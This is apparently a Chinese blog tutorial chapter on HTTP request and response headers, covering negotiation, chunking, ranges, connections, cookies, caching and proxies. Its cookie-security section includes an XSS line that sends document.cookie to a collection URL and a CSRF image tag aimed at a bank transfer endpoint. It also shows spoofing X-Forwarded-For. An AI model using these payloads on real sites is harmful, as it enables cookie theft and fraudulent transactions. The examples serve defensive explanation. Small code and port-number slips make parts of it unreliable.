本文為《三萬長文50+趣圖帶你領悟web編程的內功心法》第四個章節。
4、HTTP常用請求頭大揭秘
上面列出了報文的各種請求頭、響應頭、狀態碼,是不是感到特別暈呢。這節我們就專門挑一些最常用的請求頭,舉例說明請求頭對應支撐的HTTP功能。
4.1、數據類型、壓縮編碼,語言,內容協商和質量值
我們來看一個最基本的HTTP交互。
其中,GET表示方法,就不多說了。
Host:Host 請求頭指明了請求將要發送到的服務器主機名和端口號。Host讓虛擬主機托管成為了可能,也就是一個IP上提供多個Web服務。
協商
客戶端先發送Accept、Accept-Encoding、Accept-Language請求頭進行協商。其中:
- Accept指明了客戶端可理解的MIME type,用“,”做分隔符,列出多個類型;
- Appcep-Encoding指明客戶端可理解的壓縮格式;
- Accept-Languate指明客戶端可理解的自然語言;
可以給每個協商項指定質量值q。質量值從0~1,1最高,表示最期望服務器采用該類型,0表示拒絕接受該類型。
協商結果
服務端會在響應頭里面告知協商的結果:
- Content-Type表示服務端實際采用的類型;
- Content-Encoding表示服務端實際采用的壓縮格式,如果相應報文沒有該請求頭,則代表服務端沒有開啟壓縮;
- Content-Language表示服務端實際采用的自然語言;
服務端是怎么協商的
服務端在客戶端請求中,用了哪些請求頭部信息進行協商的呢,這里需要用到Vary首部:
Vary: *
Vary: <header-name>, <header-name>, ...
例如:
Vary: User-Agent
表示服務器依據 User-Agent 字段,決定發回了響應報文。此場景常見于:對于不同的終端,返回的內容是不同的,那么就需要用 User-Agnet進行區分以及緩存了。
更多協商信息:《HTTP權威指南》第17章 內容協商與轉碼[1]
字符集
另外,客戶端和服務端也可以協商字符集:
- 請求頭:Accept-Charset;
- 響應頭:沒有單獨的響應頭,而是附加在Content-Type中:
Content-Type: text/html; charset=utf-8
協商請求響應頭對應關系如下圖:
4.2、分塊傳輸編碼、范圍請求和多段數據
分塊傳輸響應頭:Transfer-Encoding: chunked。
4.2.1、分塊傳輸編碼 Transfer-Encoding: chunked
一般情況下,我們請求后端,都可以拿到靜態資源的完整Content-Length大小,一次性傳輸到客戶端。
對于動態頁面,也可以在后端一次性生成所有需要返回的內容,得到Content-Length大小,一次性傳輸到客戶端。
但是想象以下場景:Content-Encoding為gzip,服務端進行壓縮的時候,需要一塊很大的字節數組進行壓縮,最終得到整個數組的Content-Length。
舉個例子:如下圖:
客戶端需要向服務器請求獲取一串葡萄,最期望拿到一串新疆葡萄,可以使用gzip編碼。
最終客戶端通過gzip,把葡萄壓縮成了葡萄干,一次性傳輸給了客戶端。客戶端拿到了所有的葡萄干,解壓回葡萄。
至于葡萄干注水還原回葡萄的技術有待大家研究實現,研究出來了可以分享給我,謝謝!
可以發現:服務端在壓縮的過程中很占緩存,只能等壓縮完成之后一次性傳輸,傳輸的內容龐大,瞬間占用網絡,如果帶寬不夠,就會導致消息延遲。
那么,這個時候,我們就可以使用分塊傳輸來優化這個流程了:
我們可以將葡萄一顆一顆的壓縮傳輸給客戶端一顆,這樣傳輸的時候就不用占用太多內存,傳輸也不會瞬時占用太多帶寬了:
分塊傳輸編碼格式
下面我們通過一個具體的請求來說明分塊傳輸編碼的響應格式。
這里我們用OpenResty服務器,假設請求的服務端代碼是這樣的lua腳本:
ngx.header['Content-Type'] = 'text/plain;charset=utf-8'
ngx.header['Transfer-Encoding'] = 'chunked'
for i=1,10 do
ngx.print('第' + i + '顆葡萄\n')
ngx.flush(true)
end
我們抓包來看看完整的TCP請求,圖片比較大,感興趣的同學放大查看:
分析下TCP包:
- 21~23:是TCP連接三次握手的過程;
- 24:服務端通知客戶端窗口大小變更;
- 25:也就是第一個高亮的行,發起HTTP請求,嘗試獲取一串葡萄;
- 27~41:服務端分塊多次推送了一顆顆的葡萄給到客戶端;
- 43:最終在HTTP應用層,拿到了完整的一串葡萄,10個Data chunk對應10顆葡萄:
頁面展示如下:
grape 1
grape 2
grape 3
grape 4
grape 5
grape 6
grape 7
grape 8
grape 9
grape 10
根據以上抓包的報文格式,可以得到最終的HTTP響應報文格式如下:
注意:
分塊傳輸和編碼只在HTTP/1.1版本中提供。
HTTP/2不支持分塊傳輸,因為其本身提供的更加高級的流傳輸實現了類似的功能。
4.2.2、范圍請求
范圍請求響應頭:Accept-Ranges: bytes,有這個響應頭的,就表示當前響應的資源支持范圍請求。
假設一個文件很大,我們想要獲取其中的一部分,這個時候就可以使用范圍請求了。范圍請求常用語實現以下功能更:
- 看視頻,拖到某一個時間點進行加載;
- 下載工具中的多線程分段下載;
- 下載工具中高端斷點續傳,如果網絡不好,斷開連接了,等到重新連接之后,可以繼續獲取剩余部分內容。
范圍請求頭
確定了服務端支持范圍請求之后,客戶端在請求中使用Range請求頭,指定要接收的范圍即可,如:
-- 格式:bytes=x-y,x y表示偏移量,從0開始
-- 請求獲取前面11個字節
Range: bytes=0-10
-- 請求所有內容
Range: bytes=10-
-- 獲取文檔最后10個字節
Range: bytes=-10
服務端響應
- 請求范圍不合法,返回狀態碼416: Range Not Satisfiable;
- 請求合法,返回狀態碼206: Partial Content;
- 響應頭添加:Content-Range: bytes x-y/length,表示本次實際響應的范圍
舉個例子,我們請求IT宅首頁,如下:
# 執行以下請求:
curl -i -H 'Range: bytes=0-15' https://www.itzhai.com
# 結果如下:
HTTP/1.1 206 Partial Content
Server: nginx/1.16.1
Date: Sun, 30 Aug 2020 02:22:59 GMT
Content-Type: text/html
Content-Length: 16
Last-Modified: Fri, 01 May 2020 03:45:21 GMT
Connection: keep-alive
ETag: "5eab9b51-134ee"
Content-Range: bytes 0-15/79086
<!DOCTYPE html>
多段數據
范圍請求支持同時請求多段數據,下面是一個例子:
# 執行以下請求:
curl -i -H 'Range: bytes=0-15, 16-26' https://www.itzhai.com
# 結果如下:
HTTP/1.1 206 Partial Content
Server: nginx/1.16.1
Date: Sun, 30 Aug 2020 02:27:07 GMT
Content-Type: multipart/byteranges; boundary=00000000000000000023
Content-Length: 228
Last-Modified: Fri, 01 May 2020 03:45:21 GMT
Connection: keep-alive
ETag: "5eab9b51-134ee"
--00000000000000000023
Content-Type: text/html
Content-Range: bytes 0-15/79086
<!DOCTYPE html>
--00000000000000000023
Content-Type: text/html
Content-Range: bytes 16-26/79086
<html class
--00000000000000000023--
響應格式如下:
4.3、HTTP/1.1連接管理
說到HTTP的連接,就不得不先說說TCP的連接管理了,我們來回顧下TCP的建立連接,傳輸數據,關閉連接的過程[2]:
這里詳細流程就不說了,詳細參考我的上一篇關于網絡內功心法的文章[2]。
可以發現為了傳輸數據,三次握手和四次揮手,分別消耗了1.5個RTT和2個RTT(Round-trip time RTT),假設建立起這個TCP連接就為了來回傳輸一次數據,可以發現其利用率很低:
1 / (1 + 1.5 + 2) = 22%
4.3.1、短連接的弊端
如下圖:
每次傳輸數據,都需要建立新的鏈接,這種連接我們稱為短連接。
由上面分析可知,短連接極大的降低了傳輸效率,每次有什么數據需要傳輸,都要重新進行三次握手和四次揮手。
早期的HTTP是短連接的,或稱為無連接。
4.3.2、為什么要有長連接
為了解決效率問題,于是出現了長連接。由上面分析可知,短連接傳輸效率低,所以,自從HTTP/1.1開始,默認就支持了長連接,也稱為持久連接。
所謂長連接,就是在跟服務端約定,本次創建的連接,后邊還會繼續用到。于是,這樣約定之后,TCP層通過TCP的keep-alive機制維持TCP連接。
TCP如何維持連接呢,這里介紹系統內核的三個相關配置參數:
net.ipv4.tcp_keepalive_intvl
= 15;
net. ipv4.tcp_keepalive_probes
= 5;
net.ipv4.tcp_keepalive_time
= 1800;當TCP連接閑置了
tcp_keepalive_time
秒之后,服務端就嘗試向客戶端發送偵測包,來判斷TCP連接狀態,如果偵測后沒有收到ack反饋,那么在tcp_keepalive_intvl
秒后再次嘗試發送偵測包,知道接收到ack反饋。一共會嘗試tcp_keepalive_probes
次偵測請求。如果嘗試tcp_keepalive_probes
次之后,依然沒有收到ack包,那么就會丟棄這個TCP連接了。
使用長連接的HTTP協議,會在響應頭加入這個:
Connection: keep-alive
如下圖:
客戶端和服務器一旦建立連接之后,可以一直復用這個連接進行傳輸。
4.3.3、長連接問題
4.3.3.1、如何避免長連接資源浪費
如果建立長連接之后,一直不用,對于服務器來說是多么浪費資源呀。為此需要有關閉長連接的機制。
場景的控制手段:
-
系統內核參數設置
:如上一節提到的幾個參數; -
客戶端請求頭聲明
:- 請求頭聲明
Connection: close
,本次通信技術之后就關閉連接。
- 請求頭聲明
-
服務端配置
:如Nginx,設置- keepalive_timeout:設置長連接超時時間;
- keepalive_requests:設置長連接請求次數上限。
4.3.3.2、長連接的缺點
我們可以建立起TCP長連接,但是HTTP/1.1是請求應答模型的,只要一個請求還沒有收到應答,當前TCP連接就不可以發起下一個請求,也就是HTTP請求隊頭阻塞:
當前客戶端與服務端值創建了一個已連接套接字,即一個TCP連接,客戶端所有請求都通過這個TCP連接發送,由于request 1請求還沒有接收到應答,其他的request就不能發起請求了。
為了減小請求阻塞等待的影響,于是人們考慮在同一個瀏覽器里面開啟多個TCP連接,這樣,即使一個TCP被阻塞了,還有另外的可以繼續發起請求。
不過客戶端開太多TCP連接,會導致服務器承受更大的壓力。在RFC2616中限制客戶端最多并發兩個,但是目前大部分瀏覽器支持6個或者更多的并發連接數。
為了進一步優化前端加載請求,這個時期出現了很多各式的前端優化小技巧,如:
- 為了增加并發請求,做域名拆分,這樣就突破了瀏覽器對并發請求數的限制了;
- CSS、JS等資源內聯到HTML中,或者進行資源合并,從而減少客戶端的并發請求數;
- 生成精靈圖,一次性傳輸所有小圖標,從而減少客戶端的并發請求數;
- 資源預取...
不過,HTTP/2解決了HTTP請求的隊頭阻塞,有些原有的優化在HTTP/2中則成為了反模式,如:域名拆分后需要建立多個域名的連接,精靈圖或者合并CSS、JS等導致不能更靈活的控制緩存...
4.3.4、管道化長連接
管道傳輸技術是在HTTP/1.1中引入的,在HTTP/1.0中不存在。
HTTP管道傳輸技術可以在單個TCP連接上連續發送多個HTTP請求,而無需等待響應,截止2018年,由于一些問題(如錯誤的代理服務器和TCP隊頭阻塞),現代瀏覽器默認未啟用管道。
引入了管道技術之后的長連接如下圖:
多個HTTP請求可以連續發送出去,而不用等待已發送請求的響應,請求和響應都是通過FIFO隊列進行的。
不過由于TCP是嚴格按照順序進行傳輸數據的,前面的TCP數據丟失,就會導致阻塞后續的分組數據,這也就是TCP的隊頭阻塞。
管道化長連接有何問題?
根據上面的分析可知,HTTP管道有如下問題:
- 慢響應會導致TCP隊頭阻塞(HOL blocking),影響后續請求;
- 如果前面的某個響應失敗了,會導致TCP連接終止,那么未響應的請求都得重新進行發送了;
- 如果請求鏈中有很多中間代理,代理對管道的兼容性則成為了問題,很有可能導致管道機制失效,因為大多數HTTP代理不通過管道進行傳輸;
- 由于FIFO機制,導致有些請求被接收之后,還保持了不必要的很長的時間;
- ...
基于以上眾多問題,在所有主要瀏覽器中,只有Opera瀏覽器才在默認情況下啟用管道機制,其他瀏覽器基本默認不啟用管道機制。
4.3.5、長連接如何改善
我們知道,長連接有如下缺點:
- 由于保持連接,影響服務器性能;
- 可能發生隊頭阻塞,造成信息延遲。
HTTP的多路復用技術支持多個請求同時發送,類似于多線程的并發機制,更充分的利用到了建立好的一個長連接。
HTTP2相關特性我們后面再詳細介紹。
4.4、HTTP/1.1的Cookie機制
由于HTTP是無狀態的,于是出現Cookie和Session,為HTTP彌補了狀態存儲的問題。
HTTP Cookie是服務器發送到用戶瀏覽器并保存在本地的一小塊數據,它會在瀏覽器下次向同一服務器再發起請求時被攜帶并發送到服務器上。
就像我們去公司報道,公司給你辦理了一張工卡,門口的保安大哥可不會記住哪些人是公司的,于是只能叫你出示工卡。如果把公司比作服務器的話,這張工卡就相當于Cookie,我們每次出示工卡給保安大哥,于是就驗證通過了。
Cookie工作機制:瀏覽器請求服務器之后,服務器響應頭可以添加Set-Cookie
字段,瀏覽器拿到Cookie之后,按域名區分存儲起來,下次請求同一個域名的服務器,通過Cookie
請求頭傳給服務端,服務端則可以根據Cookie信息判斷到時之前請求的一個客戶端。
Cookie關鍵屬性
屬性名 | 作用 |
---|---|
Expires | 過期時間,一個絕對的時間點 |
Max-Age | 設置單位為秒的cookie生存期,瀏覽器優先使用Max-Age |
Domain | 指定Cookie所屬的域名 |
Path | 指定Cookie所屬的路徑前綴,瀏覽器在發起請求前,判斷瀏覽器Cookie中的Domain和Path是否和請求URI匹配,只有匹配才會附加Cookie |
HttpOnly | 指明該Cookie只能通過瀏覽器的HTTP協議傳輸,瀏覽器JS引擎將禁用document.cookie等api,從而避免被不壞好意的人拿到cookie信息。此預防措施有助于緩解跨站點腳本(XSS)攻擊。 |
Secure | 指明只能通過被 HTTPS 協議加密過的請求發送給服務端,但即便設置了 Secure 標記,敏感信息也不應該通過 Cookie 傳輸,因為 Cookie 有其固有的不安全性,Secure 標記也無法提供確實的安全保障, 例如,可以訪問客戶端硬盤的人可以讀取它。 |
SameSite | SameSite=None: 瀏覽器會在同站請求、跨站請求下繼續發送 cookies,不區分大小寫<br />SameSite=Strict:限定Cookie不能隨著跳轉連接跨站發送,只在訪問相同站點時發送 cookie<br />SameSite=Lax:允許GET/HEAD等安全方法,禁止POST跨站點發送,在新版本瀏覽器中,為默認選項,Same-site cookies 將會為一些跨站子請求保留,如圖片加載或者 frames 的調用,但只有當用戶從外部站點導航到URL時才會發送 |
4.4.1、Cookie常見安全問題
XSS攻擊
通過腳本注入,竊取Cookie,如:
(new Image()).src = "http://www.itzhai.com/steal-cookie?cookie=" + document.cookie;
上面表格中提到的HttpOnly正是為了阻止JavaScript 對其的訪問性而能在一定程度上緩解此類攻擊。
CSRF跨站請求偽造
在不安全的聊天室或者論壇等,看到一張圖片,實際上他可能是請求了你的某個銀行的轉賬接口,讓你的錢轉到別人的賬上,如果打開了這個圖片,并且之前已經登陸過銀行賬號,并且Cookie仍然有效,那么錢就有可能被轉走了。
<img src="http://bank.test.com/withdraw?account=youraccount&amount=10000&for=arthinking">
為此,常見對因對措施有:
- 對用戶輸入進行XSS過濾;
- 敏感的業務操作都需要添加各種形式的校驗:如密碼、短信驗證碼等;
- 敏感信息Cookie設置有效期盡可能短...
本文首次發表于: HTTP常用請求頭大揭秘 以及公眾號 Java架構雜談,未經許可,不得轉載。
4.5、HTTP緩存機制
4.5.1、緩存請求指令
客戶端可以用Cache-Control請求首部來強化或者放松對過期時間的限制。
指令 | 說明 |
---|---|
Cache-Control: max-age=<seconds>
|
拒絕接受緩存時間長于seconds 秒的資源,如果seconds 為0,則表示請求獲取最新的資源; |
Cache-control: no-cache | 除非資源進行了再驗證,否則這個客戶端不會接受已緩存的資源; |
Cache-control: no-store | 緩存不應存儲有關客戶端請求或服務器響應的任何內容,即不使用任何緩存; |
Cache-control: only-if-cached | 表明客戶端只接受已緩存的響應,并且不要向原始服務器檢查是否有新的拷貝; |
Cache-control: no-transform | 不得對資源進行轉換或轉變。Content-Encoding 、Content-Range 、Content-Type 等HTTP頭不能由代理修改 |
Cache-Control: max-stale[=<seconds>]
|
表明客戶端愿意接收一個已經過期的資源。可以設置一個可選的秒數,表示響應不能已經過時超過該給定的時間 |
Cache-Control: min-fresh=<seconds>
|
表示客戶端希望獲取一個能在指定的秒數內保持其最新狀態的響應 |
4.5.2、緩存響應指令
指令 | 說明 |
---|---|
Cache-Control: max-age=<seconds>
|
設置緩存存儲的最大周期,超過這個時間緩存被認為過期(單位秒) |
Cache-control: no-store | 緩存不應存儲有關客戶端請求或服務器響應的任何內容,即不使用任何緩存 |
Cache-control: no-cache | 在發布緩存副本之前,強制要求緩存把請求提交給原始服務器進行驗證(協商緩存驗證) |
Cache-Control: must-revalidate | 一旦資源過期(比如已經超過max-age ),在成功向原始服務器驗證之前,緩存不能用該資源響應后續請求 |
Cache-control: no-transform | 一旦資源過期(比如已經超過max-age ),在成功向原始服務器驗證之前,緩存不能用該資源響應后續請求 |
Cache-control: public | 表明響應可以被任何對象(包括:發送請求的客戶端,代理服務器,等等)緩存,即使是通常不可緩存的內容。(例如:1.該響應沒有max-age 指令或Expires 消息頭;2. 該響應對應的請求方法是 POST 。) |
Cache-control: private | 表明響應只能被單個用戶緩存,不能作為共享緩存(即代理服務器不能緩存它)。私有緩存可以緩存響應內容,比如:對應用戶的本地瀏覽器 |
Cache-control: proxy-revalidate | 與must-revalidate作用相同,但它僅適用于共享緩存(例如代理),并被私有緩存忽略 |
Cache-control: s-maxage=<seconds>
|
覆蓋max-age 或者Expires 頭,但是僅適用于共享緩存(比如各個代理),私有緩存會忽略它 |
4.5.3、服務器再驗證
指令 | 說明 |
---|---|
If-Modified-Since: Date | 第一次響應報文提供Last-modified,第二次請求帶上這個值,給服務端驗證緩存是否有修改,無修改則返回:304 Not Modified |
If-None-Match: ETag | 第一次響應報文提供ETag,第二次請求帶上這個值,給服務端驗證緩存是否最新,無修改則返回:304 Not Modified, |
Last-modified和ETag有什么區別?
有任何改動,ETag都會變動,但是同一秒內的改動,Last-modified是一樣的。
4.6、HTTP代理
想象一下我們傳統的三層架構,如果我們想統一把批量修改數據的SQL屏蔽掉,那么直接修改DAO層,統一攔截處理就可以了。類似的,網絡系統也是如此,在傳統的客戶端和服務端之間,可能會存在各種各樣的代理服務器,用于實現各種功能。
常見的代理有兩種:普通代理-中間人代理,隧道代理。
4.6.1、普通代理[3]
話不多說,我們直接上圖,說明一下代理的工作原理:
代理既是服務器,又是客戶端。
代理工作原理:客戶端向代理發送請求,代理接收請求并與客戶端建立連接,然后轉發請求給服務器,服務器接收請求并與代理建立連接,最終把響應按原路返回。
當然,實際的場景中,客戶端與服務器可能包含多個代理服務器。
代理最常見到的請求頭
RFC 7230
中定義了Via
,用于追蹤請求和響應消息轉發情況;RFC 7239
中定義了X-Forwarded-For
用于記錄客戶端請求的來源IP;X-Real-IP
可以用于記錄客戶端實際請求IP,該請求頭不屬于任何標準。
Via
:**Via**
是一個通用首部,是由代理服務器添加的,適用于正向和反向代理,在請求和響應首部中均可出現。這個消息首部可以用來追蹤消息轉發情況,防止循環請求,以及識別在請求或響應傳遞鏈中消息發送者對于協議的支持能力;-
X-Forwarded-For
:每經過一級代理(匿名代理除外),代理服務器都會把這次請求的來源IP
追加在X-Forwarded-For
中:X-Forwarded-For: client, proxy1, proxy2
注意:與服務器直連的代理的IP不會被追加到X-Forwarded-For中,該代理可以通過TCP連接的Remote Address字段獲取到與服務器直連的代理IP地址;
X-Real-IP
:記錄與當前代理服務器建立TCP連接的客戶端的IP,一般通過$remote_addr
獲取,這個IP是上一級代理的IP,如果沒有代理,則是客戶端的IP;
一般我們在Nginx中會做如下配置:
location / {
proxy_set_header X-Real-IP $remote_addr; // 與服務器建立TCP連接的客戶端的IP作為X-Real-IP
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; // 追加請求的來源IP
...
}
假設我們所有的代理都按照如上設置,那么請求頭變化情況則如下:
客戶端IP偽造
注意,X-Forwarded-For是可以偽造的,一些通過X-Forwarded-For獲取到的客戶端IP來限制刷投票的系統就可以通過偽造該請求頭來打到刷票的效果,如果客戶端請求顯示指定了X-Forwarded-For
X-Forwarded-For: 192.168.1.2
那么,服務器接收到的該請求頭,第一個IP就是這個偽造的IP了。
如何防范IP偽造?
方法一:在對外Nginx服務器上配置:
proxy_set_header X-Forwarded-For $remote_addr;
這樣,第一個IP就是從TCP連接的客戶端IP地址了,不會讀取客戶端偽造的X-Forwarded-For。
方法二:從右到左遍歷X-Forwarded-For的IP,剔除已知代理服務器IP和內網IP,獲取到第一個符合條件的IP。
正向代理和反向代理
工作在客戶端的代理我們稱為正向代理。使用正向代理的時候,需要在客戶端配置使用的代理服務器,正向代理對服務端透明。我們常用的Fiddler、charles抓包工具,以及訪問一些外網網站的代理工具就屬于正向代理。
如下圖:
正向代理通常用于:
- 緩存;
- 屏蔽某些不健康的網站;
- 通過代理訪問原本無法訪問的網站;
- 上網認證,對用于進行訪問授權...
工作在服務端的代理我們稱為反向代理。使用反向代理的時候,無需在客戶端進行設置,反向代理對客戶端透明。反向代理(Reverse Proxy)這個名詞有點讓人摸不著頭腦,不過就這么叫吧,我們常用的nginx就是屬于反向代理。
如下圖:
通用把80作為http的端口,把433端口作為https的端口。
反向代理通常用于:
- 負載均衡;
- 服務端緩存;
- 流量隔離;
- 日志;
- 金絲雀發布...
代理中的持久連接
Connection請求頭
我們得先介紹下Connection請求頭字段。
在各個代理和服務器、客戶端節點之間的是一段一段的TCP連接,客戶端通過中間代理,訪問目標服務器的過程也叫逐段傳輸,用于逐段傳輸的請求頭被稱為逐段傳輸頭。
逐段傳輸頭
會在每一段傳輸的中間代理中處理掉,不會往下傳輸給下一個代理。
標準的逐段傳輸頭有:Keep-Alive
, Transfer-Encoding
, TE
, Connection
, Trailer
, Upgrade
, Proxy-Authorization
和 Proxy-Authenticate
。
Connection 頭(header) 決定當前的事務完成后,是否會關閉網絡連接。如果該值是“keep-alive”,網絡連接就是持久的,不會關閉,使得對同一個服務器的請求可以繼續在該連接上完成。
除此之外,除了標準的逐段傳輸頭,任何逐段傳輸頭都需要在Connection頭中列出,這樣才能夠讓請求的代理知道并處理掉它們并且不轉發這些頭,當然,標準的逐段傳輸頭也可以列出。
有了這個Connection頭,代理就知道要處理掉哪些請求頭了, 比如代理會處理掉Keep-Alive,根據自己的實際情況看看是否支持Keep-Alive,如果不支持,就不會繼續往下傳了。
Nginx keep-alive
比如,Nginx作為反向代理,可以為其設置keep-alive機制,nginx開啟了keep-alive的時候,連接是這樣的 :
Nginx中關于keep-alive[4]的設置:
- keepalive: 設置連接池最大的空閑連接數量;
- keepalive_timeout: 設置客戶端連接超時時間,為0的時候表示禁用長連接;
- keepalive_requests: 設置一個長連接上可以服務的最大請求數量。
古老的代理如何處理持久連接
網絡是復雜的,特別是加入了很多代理之后,假如客戶端想要發起持久連接,而中間某些古老的代理服務器,可能不認識Connection頭,也不支持持久連接,會出現什么情況呢?
如上圖,中間的兩臺代理不認識Connection: keep-alive
,于是直接轉發了,最終服務器收到這個頭,以為proxy2要和他建立持久連接,于是響應了Connection: keep-alive
,代理服務器轉發回給客戶端,客戶端以為建立成功了長連接,于是繼續使用這個連接發送消息,可是中間的代理在處理完請求響應之后,早就已經把TCP連接給關閉了,從而最終導致瀏覽器請求連接超時。
為了避免這類問題,有時候服務器會選擇直接忽略HTTP/1.0的Keep-Alive特性,也就是不使用持久連接,也不會返回Keep-Alive給客戶端。
4.6.2、隧道代理[5]
HTTP客戶端可以通過CONNECT方法請求隧道代理創建一個到人任意目標服務器和端口號的TCP連接,連接創建完成之后,后續隧道代理只做請求和響應數據的轉發,就像一條隧道一樣,這也是隧道代理名字的由來。
為什么需要隧道代理?
想象以下,我們要請求的HTTPS服務中間經過了代理,我們是不是 要先讓客戶端跟代理服務器建立HTTPS連接呢?顯然這樣是無法實現的,因為中間代理沒有網站的私鑰證書,所以最終導致瀏覽器和代理之間的TLS無法創建。
為了解決這個問題,于是引入了隧道代理,隧道代理不在作為中間人,也不會改寫瀏覽器的任何請求,而是把瀏覽器的通信數據原樣透傳,這樣就實現了讓客戶端通過中間代理,和服務器進行TLS握手,然后進行加密傳輸。
其工作流程大致如下:
4.7、HTTP重定向
這里我們重點關注兩個:
- 301 永久重定向
- 302 臨時重定向
在收到重定向的狀態碼之后,客戶端會檢測響應頭里面的Location字段,從里面取出URI,從而自動發起新的HTTP請求。
最常見的使用重定向的例子:
- 由于網頁遷移,為了不影響SEO,把舊的網址的URL 301重定向到新版的網址;
- 由于服務臨時升級,把原來服務請求302重定向到一個升級提示頁面,但這樣會導致服務端多了一倍的請求量,有時候我們是直接在服務端反悔了升級提示的頁面。
這篇文章的內容就介紹到這里,能夠閱讀到這里的朋友真的是很有耐心,為你點個贊。
本文為arthinking基于相關技術資料和官方文檔撰寫而成,確保內容的準確性,如果你發現了有何錯漏之處,煩請高抬貴手幫忙指正,萬分感激。
如果您覺得讀完本文有所收獲的話,可以關注我的賬號,或者點贊吧,碼字不易,您的支持就是我寫作的最大動力,再次感謝!
為了把相關系列文章收集起來,方便后續查閱,這里我創建了一個Github倉庫,把發布的文章按照分類收集起來了,感興趣的朋友可以Star跟進:
關注我的博客IT宅(itzhai.com)
或者公眾號Java架構雜談
,及時獲取最新的文章。我將持續更新后端相關技術,涉及JVM、Java基礎、架構設計、網絡編程、數據結構、數據庫、算法、并發編程、分布式系統等相關內容。
References
- 謝希仁. 計算機網絡(第6版). 電子工業出版社.
- TCP/IP詳解 卷1:協議(原書第2版). 機械工業出版社.
- UNIX網絡編程 卷1:套接字聯網API. 人民郵電出版社
- HTTP權威指南. 人民郵電出版社
- HTTP/2基礎教程. 人民郵電出版社
- 劉超. 趣談網絡協議. 極客時間
- 羅劍鋒. 透視HTTP協議. 即可時間
本文同步發表于我的博客IT宅(itzhai.com)和公眾號(Java架構雜談)
作者:arthinking | 公眾號:Java架構雜談
博客鏈接:https://www.itzhai.com/articles/secrets-of-http-common-request-headers.html
版權聲明: 版權歸作者所有,未經許可不得轉載,侵權必究!聯系作者請加公眾號。
-
《HTTP權威指南》第17章 內容協商與轉碼. 人民郵電出版社. P413 ?
-
兩萬字長文50+張趣圖帶你領悟網絡編程的內功心法-TCP連接管理. Retrieved from https://www.itzhai.com/network/comprehend-the-underlying-principles-of-network-programming.html#4-2-3、連接管理 ? ?
-
《HTTP權威指南》 第六章 代理 ?
-
Module ngx_http_upstream_module. Retrieved from http://nginx.org/en/docs/http/ngx_http_upstream_module.html#keepalive ?
-
《HTTP權威指南》 第八章 集成點:網關、隧道及中繼 ?